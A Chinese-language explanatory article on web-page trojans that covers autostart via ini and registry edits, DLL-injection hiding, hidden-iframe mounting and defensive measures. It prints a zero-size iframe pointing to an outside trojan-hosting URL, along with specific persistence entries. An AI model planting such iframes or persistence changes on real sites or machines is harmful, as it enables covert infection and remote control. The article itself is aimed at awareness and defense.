1  引言
特洛伊木马(Trojan),简称木马,是一种程序,这种程序被包含在(或附着在)合法的或表面上无害的程序上的恶意程序。木马具有很强的隐蔽性,而且能够自启动,并进行自我保护。与病毒不同的是,木马一般不会进行自我繁殖,也不会可以地去感染其他文件。
木马表面上提供一些令人感兴趣的或有用的功能,但除了用户能看到的功能以外,这种程序还通过内嵌的特殊代码来执行一些用户所不知道的恶意的功能。木马的制造者常常是将一些特殊的代码添加到正常的应用程序代码中来实现这些隐藏的特殊的功能。
随着计算机技术的发展,木马的功能越来越强大,隐蔽性和破坏性不断提高,其数量也在急剧增加。充分了解木马的原理及技术,可以加强大家对其的防范意识,从而营造一个安全的上网环境。
2  网页木马的攻击原理
攻击者想要通过木马攻击用户系统,必须首先将木马程序植入到用户的计算机里。一般的木马程序都分为客户端和服务器端两个部分,其中客户端用户攻击者远程控制植入木马的计算机,服务器端程序即为木马程序。
我们都已经知道,木马实际上是前入到正常的文件里面的一种特殊的程序。网页木马实际上是一个HTML网页,他与其他网页所不同的是,这种网页中被嵌入了具有木马功能的脚本。为了安全起见,IE浏览器时不允许自动下载并运行程序的。但是,由于IE浏览器本身的安全漏洞使得黑客可以使其能够下载并执行他所嵌入的脚本,并且是在后台悄无声息地运行。网页木马通常被挂载在网站的主页上,或者网站所提供的可以下载或播放的多媒体文件(如:RM、RMVB、WMV、WMA、Flash等)上,此外,电子邮件、论坛等场合也是网页木马的常见栖身之处。
一旦用户打开了带有网页木马的网页,被嵌入的脚本就能自动开始运行并下载木马到本地电脑上。并且,这些被嵌入的脚本一般为了逃避杀毒软件的网页监控,通常都会使用一些工具对网页的源代码进行加密处理。
ZDNet 安全频道频道近期报道中指出,360安全专家介绍,在IE浏览器中的一系列漏洞中,其中一个为系统API级漏洞,危险级别很高,与微软危害最大,影响面最广的高危漏洞——“ANI鼠标指针”漏洞同属一个危险级别,无论用户使用的是IE6、IE7,还是Firefox、Opera等浏览器,只要攻击者在网页中加一段js脚本,调用这个漏洞,即可在你访问该网页的时候,随意在你机器上种植各种木马和后门程序。要防范利用此类漏洞的木马,必须要确保经常为你的IE打好补丁。或利用360安全卫士修复系统漏洞功能升级微软漏洞补丁,及时修补漏洞。IE一旦打了相关补丁,被嵌入网页中的代码就会失去作用。
又比如,据瑞星互联网攻防实验室警报,IE浏览器中广泛应用的Flash Player插件存在严重漏洞,网上已出现利用该漏洞传播的多种木马病毒。旧版Flash插件(9.0.115版及以前的版本)都存在该漏洞,Adobe公司已经在网上提供了弥补该漏洞的9.0.124版本,用户可以到如下网址尽快升级:
http://www.adobe.com/shockwave/download/flash/trigger/en/1/index.html
3  网页木马的自加载和进程隐藏技术
与其他类型的木马一样,网页木马为了能够在用户毫无察觉的情况下运行,同样也具有自加载技术和隐藏技术。
3.1  自加载技术
所谓自加载就是程序自运行。自加载的方法很多,比较常见的有将需要运行的程序加载到启动里面,或把程序的启动路径写到注册表的项:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersions\Run中,修改boot.ini(如System.ini和Win.ini)文件,修改explorer.exe启动参数,或者修改注册表例的键值直接启动。
如修改System.ini(位置C:\windows\文件的方法如下:
[boot]项原始值配置:“shell=explorer.exe”,explorer.exe是Windows的核心文件之一,每次系统启动时,都会自动加载。
[boot]项修改后配置:“shell=explorer C:\windows\Trojan.exe”(Trojan.exe即为某一木马程序)。
又如修改Win.ini(位置C:\windows\)
[windows]项原始值配置:“load=”;“run=”,一般情况下,等号后无启动加载项。
[windows]项修改后配置:“load=”和“run=”后加入木马的程序名。
这种木马的解决办法为:执行“运行→msconfig”命令,将System.ini文件和Win.ini文件中被修改的值改回原值,并将原木马程序删除。若不能进入系统,则在进入系统前按“Shift+F5”进入Command Prompt Only方式,分别键入命令edit system.ini和edit win.ini进行修改。
相对来说,修改注册表的方式要比上面的修改启动和boot.ini文件要隐蔽得多。比如,对于注册表中的项:HKEY LOCAL MACHINE\Software\classes\exefile\shell\open\command\,其原始数值数据为:%1"%,该表项注册表项是运行可执行文件的格式。此时,如果修改后的数值数据为:C:\system\ Trojan.exe "%1"%,这就使该表项变为每次运行可执行文件时都会先运行C:\system\ Trojan.exe这个程序。比如,如果在QQ的command的注册表项中进行上述修改,那么,每次启动QQ.exe,木马程序也就被加载运行了。
修改注册表的方法的一个明显弊端就是用户可以通过查看注册表选项发现木马的存在,因此,发现和防范的方法就是检查注册表。
3.2  进程隐藏技术
木马的隐藏分为真隐藏和假隐藏。真隐藏与假隐藏的区别在于,假隐藏木马具备独立的进程空间。
假隐藏是第一代进程隐藏技术,它是利用Windows 98的后门来实现的。在Windows 98中,微软提供了一种能将进程注册为服务进程的方法。这种技术称为RegisterServiceProcess。只要利用此方法,任何程序的进程都能将自己注册为服务进程,而服务进程在Windows 98中的任务管理器中恰巧又是不显示的,所以便被木马程序钻了空子。要对付这种隐藏的木马还算简单,只需使用其他第三方进程管理工具即可找到其所在。
真隐藏是木马的第二代进程隐藏技术,是利用DLL技术以进程插入的方式实现的。
当我们按下组合键Ctrl+Alt+Del时,就可以在任务管理器中看到系统中正在运行的进程。这样,假隐藏的木马就能在Windows NT或更高的系统的任务管理器中被现形。木马为了能够在Windows NT或更高的系统中隐藏进程,通常利用DLL文件。起初木马利用DLL制式为了替换系统调用wsock32.dll来实现远程控制功能。随着MS数字签名技术和文件恢复功能的出现,这种木马的生命力日渐衰弱,于是出现了时下的主流木马——动态嵌入式DLL木马,即将DLL木马嵌入正在运行的系统进程中,如explorer.exe、svchost.exe、smss.exe等无法结束的系统关键进程。这样一来,任务管理器里就不会出现DLL文件,而只会出现DLL的载体EXE文件。这就是DLL木马的隐藏技术。
DLL木马的进程插入也有多种实现方法:
(1)使用注册表插入DLL
早期的进程插入式木马的伎俩,通过修改注册表中的项:
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs]
来达到插入进程的目的。这种插入方式的缺点是不实时,修改注册表后需要重新启动才能完成进程插入。
(2)使用钩子(Hook)插入DLL
这是比较高级和隐蔽的方式,通过Windows系统的钩子机制,调用SetWindowsHookEx函数来插入进程。这种方法的缺点是技术含量较高,程序调试困难,这种木马的制作者必须具有相当的Win32编程水平。
(3)使用远程线程函数(CreateRemoteThread)插入DLL
在Windows 2000及以上的系统中提供了这个“远程进程”机制,可以通过一个系统API函数来向另一个进程中创建线程(插入DLL)。这种方法的缺点是,仅支持Windows 2000及以上系统。
对于利用上述技术实现真隐藏的DLL木马,无论是“任务管理器”还是杀毒软件,想对这种木马的进程进行检测都是徒劳的。这种木马目前没有非常有效的查杀手段,只有在其运行前由杀毒软件检测到木马文件并阻止其病毒体的运行。当时还有一种技术是由木马程序将其自身的进程信息从Windows系统用以记录进程信息的“进程链表”中删除,这样进程管理工具就无法从“进程链表”中获得木马的进程信息了。但由于缺乏平台通用性而且在程序运行时有一些问题,所以没有被广泛采用。
4  网页木马的挂载隐藏技术
不要以为只有访问黄色或其他非正常网站才会中网页木马,访问正常网站甚至是知名网站也有可能中网页木马。这是因为黑客们利用IE的漏洞在这些正常网站的主页上挂载了网页木马。
那么,黑客是如何在正常的网站上挂载网页木马的呢?我们来分析一个小例子。看如下一段代码:
iframe src="http://go163go.vicp.net/hk.htm" width="0" height="0" frameborder="0">
</iframe>
上段代码中,超链接src的值http://go163go.vicp.net/hk.htm就是上传到服务器上的网页木马的网址。<iframe>是HTML提供的浮动帧标签,利用这个标签可以把一个HTML网页嵌入到另一个网页里从而实现“画中画”的效果。
假设这段代码被插入到某知名网站首页的源代码的</BODY>…</BODY>之间,从表面上是看不出被插入了该代码的网页有什么变化的。但是,由于这段代码中的<iframe>标签把网页木马网页隐藏性地嵌入在了插入代码的网页当中,并且,将宽(width)、高(height)、边框(frameborder)都设置为了“0”,这使得被插入的画中画在原网页中根本就显示不出来,这就使用户觉察不到网页的变化。但是,由于嵌入的网页实际上在用户打开这个被嵌入了浮动帧标签的网页时已经被自动打开了,所以,这个被悄悄自动打开的网页上的下载木马和运行木马的脚本就随着原网页的打开而开始执行了。
由上可知,这种网页木马的嵌入需要访问原网站网页的源文件并对其进行修改和重新存储。大家都知道,一般的用户,特别是通过Internet远程访问的用户是没有这样的权限的。除非,你获得了webshell权限。那么,黑客又是如何实现代码的嵌入的呢?也就是说,黑客是如何获得webshell权限的呢?这通常是通过服务器本身的漏洞来实现的。比如,著名的缓冲区溢出漏洞就可以让黑客获得整个系统的root权限。获得root权限的用户相当于系统管理员,对整个服务器的所有资源都具有绝对的权限,更何况是修改源代码的webshell权限呢。
5  网页木马的防范措施
网页木马通常都是反弹端口型的。比如,非常著名的危害极大的灰鸽子。防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。当木马开发者发现了防火墙的这一特性后,即开发除了反弹端口型木马。于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连接控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,即使用户使用扫描软件检查自己的端口,发现类似TCP UserIP:1026 ControllerIP:80ESTABLISHED的情况,稍微疏忽一点,用户就会以为是自己在浏览网页。这种反弹端口型木马即使是使用反汇编的杀毒软件都无法识别。下面是一些网页木马的防范措施。
(1)即时为系统打补丁
前面已经提到,网页木马通常是利用IE或系统的其他程序的漏洞来实现网页代码嵌入和传播的,因此,经常关注官方网站发布的安全漏洞报告,定期到安全网站上去下载并安装最新的安全补丁是防范网页木马比较有效的办法。
(2)避免执行不安全的IE插件
很多ActiveX插件都有漏洞,比如,有的ActiveX对象具有运行EXE程序的功能,比如Shell.application控件,这些控件一旦在网页中获得了执行权限,就能使黑客有机可乘——他们利用这些控件的运行来获取运行其木马程序的权限。因此,对于那些不需要的或不经常需要的IE插件,可以让其不被执行。对于肯定不用的IE插件,你可以直接卸载或对其进行改名,这样,黑客由于找不到或不了解IE插件的名称,从而没有办法轻易地使用插件的运行来获得其权限。
卸载ActiveX控件的方法如下:
1)在“开始”菜单上单击“运行”,输入“CMD”命令打开命令提示符窗口。
2)在命令提示符下输入“regsvr32.exe shell32.dll /u/s”,然后回车就能将Shell.application控件卸载。
当需要重新使用这个控件的时候,可以在命令提示符窗口中输入“regsvr32.exe shell32.dll /i/s”命令将它们重新安装(注册)。在上述命令中:“regsvr32.exe”是注册或卸载OLE对象或控件的命令,[/u]是卸载参数,[/s]是寂静模式参数,[/I]为安装参数。
如果要改一个控件的名,则需要将控件的名称和CLSID(Class ID)都进行更改。下面假设我们要改的是Shell.application。其方法如下:
1)打开注册表编辑器,查找“Shell.application”。用这个方法能找到两个注册表项:“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。
2)把{13709620-C279-11CE-A49E-444553540000}改为:
{13709620-C279-11CE-A49E-444553540001}
注意,不要和系统中的其它CLSID重复。
3)把“Shell.application”改名为“Shell.application_xxx”。以后用到这个控件的时候你使用这个名称就可以正常调用此控件了。
(3)修改IE的安全级别和禁用脚本与ActiveX控件
由于网页木马是利用IE脚本和ActiveX控件上的一些漏洞下载和运行木马的,只要我们禁用了脚本和ActiveX控件,就可以防止木马的下载和运行。其方法如下:
1)在IE浏览器的菜单栏上选择“工具→Internet选项”打开“Internet选项”对话框。
2)在“安全”选项卡上,在Internet和本地Internet区域,分别把滑块移动到最高,或者点击“自定义级别”,在打开的对话框上禁用脚本,禁用ActiveX控件。
禁用脚本和ActiveX控件会使一些网页的功能和效果失去作用,所以是否禁用,你要根据自己对安全的需要来定。
总结
本文介绍了网页木马的攻击原理以及相关的实现技术,介绍了一些有效的防范措施。希望由此能带给读者一个安全的上网环境。

文章如转载,请注明转载自:http://www.5iadmin.com/post/5.html